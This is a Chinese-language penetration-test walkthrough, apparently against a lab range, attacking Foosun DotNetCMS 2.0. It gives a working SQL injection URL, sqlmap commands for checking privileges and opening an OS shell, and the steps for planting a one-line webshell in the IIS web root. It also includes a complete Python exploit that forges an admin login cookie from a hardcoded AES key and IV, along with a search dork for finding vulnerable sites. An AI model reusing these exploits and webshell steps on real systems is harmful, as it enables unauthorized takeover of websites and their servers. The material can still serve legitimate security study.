声明:本篇文章测试网络环境为内网搭建靶场测试

先了解一下网络结构图(结构图为测试后绘制)

关于10段的FTP因时间关系没有继续进行探测

 

信息收集:

通过NMAP进行端口扫描 发现网站开放了80,443,700,8080端口

80端口下存在web服务 :Foosun DotNetCMS 2.0  网站为IIS搭建的aspx站  服务器操作系统为win2008

8080端口下存在路由登录界面

 

 渗透过程:

通过网上查找Foosun DotNetCMS 2.0发现该CMS存在SQL注入 后台登录绕过

SQL注入:

通过查询发现该CMS存在sql注入 注入点为:

www.test.com/user/City_ajax.aspx?Cityld=1

使用sqlmap对注入点进行测试,可以跑处后台用户名及密码,但密码较复杂解不开

尝试使用sqlmap查询权限,发现权限较高,并且可以反弹shell

sqlmap查看权限:sqlmap.py -u 网址 --privileges 

sqlmap反弹shell:sqlmap.py -u 网址 --os-shell

使用shell 查询一下权限和IP

发现权限为系统权限可以进行写入操作 

发现IP为192.168.1.123 说明该网站是搭建在192.168.1.123上,在通过端口转发 转到了192.168.31.55上

发现有写入权限  进行写入一句话木马,但是写入一句话木马需要知道服务器的绝对路径

网站为IIS搭建,我们可以尝试猜一下绝对路径

C:\inetpub\wwwroot\

D:\inetpub\wwwroot\

发现可以写入的绝对路径为C:\inetpub\wwwroot\   

成功写入asp的一句话

在写aspx的一句话时发现<无法识别,那就需要转译可以使用^ (在一句话里的所有<都需要转译)

使用菜刀或蚁剑可以成功访问 我们就成功可以读取192.168.1.123的文件了

 

 

后台登录绕过

 通过与sql注入的结合使用可以绕过后台登录

工具:EditThisCookie   python Crypto模块

漏洞具体产生原因可以百度一下,这里只介绍测试过程

通过注入可以获取UserNumber:

http://192.168.31.55/user/City_ajax.aspx?CityId=1%27%20union%20all%20select%20UserNum,UserNum%20from%20dbo.fs_sys_User%20where%20UserName=%27admin

将得到的UserNumber进行加密,得到加密串,写入cookie就可以成功登陆。

但是cookie需要加密,使用下面的脚本进行加密

使用exp代码如下:

#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword:           ##
##inurl:/manage/Login.aspx   ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
  parser = argparse.ArgumentParser()
  parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
  return parser.parse_args()
def run(url):
  try:
      usernumber = get_usernumber(url)
      if usernumber is not None:
          encrypt_cookie = generate_cookie(usernumber)
          #写入cookie中
          write_cookie(url, encrypt_cookie)
  except Exception:
      traceback.print_exc()
def get_usernumber(url):
  fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
  content = urllib.urlopen(fullurl).read()
  index = content.index("<option value=\"")
  if  index != -1:
      usernumber = content[index+15:]
      usernumber = usernumber[0: content.index("\"")+1]
      print "Get usernumber success. Usernumber is :", usernumber
      return usernumber
  else:
      print "Get usernumber fail"
      return None
def pkcs7padding(data):
  bs = AES.block_size
  padding = bs - len(data) % bs
  padding_text = chr(padding) * padding
  return data + padding_text
def generate_cookie(usernumber):
  orgstr = "%s,admin,0,1,False"%(usernumber,)
  cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
  ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
  ciphertext = base64.b64encode(ciphertext)
  return ciphertext
def write_cookie(url, ciphercookie):
  print "Generate Cookie[SITEINFO]:", ciphercookie
  print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
  args = parse_args()
  try:
      if args.url is not None:
          run(args.url[0])
  except Exception, e:
      print "python Foosun_exp.py -u [url]"

把exp代码复制,在桌面新建一个Foosun_exp.py脚本文件并把代码粘贴

在cmd下使用python运行该文件,如果无法运行说明python没有安装Crypto模块

使用pip 进行安装Crypto模块

安装命令: pip install pycryptodome

安装成功后在运行Foosun_exp.py就可以获取到加密Cookie

 用EditThisCookie写入浏览器Cookie,再访问管理主页面链接即可。

如果pip无法使用的话 有2个原因

1.没有设置环境变量 在环境变量的path中加入:G:\Python\Scripts

2.pip版本低 升级pip

这样我们就成功登录后台,进入后台后通过修改上传参数,使aspx的文件可以上传,随便找个上传点进行上传一句话 之后使用菜刀连接

 

 到这里我们已经拿到了IP为192.168.1.123内网服务器,要想进行内网漫游,得获取路由的权限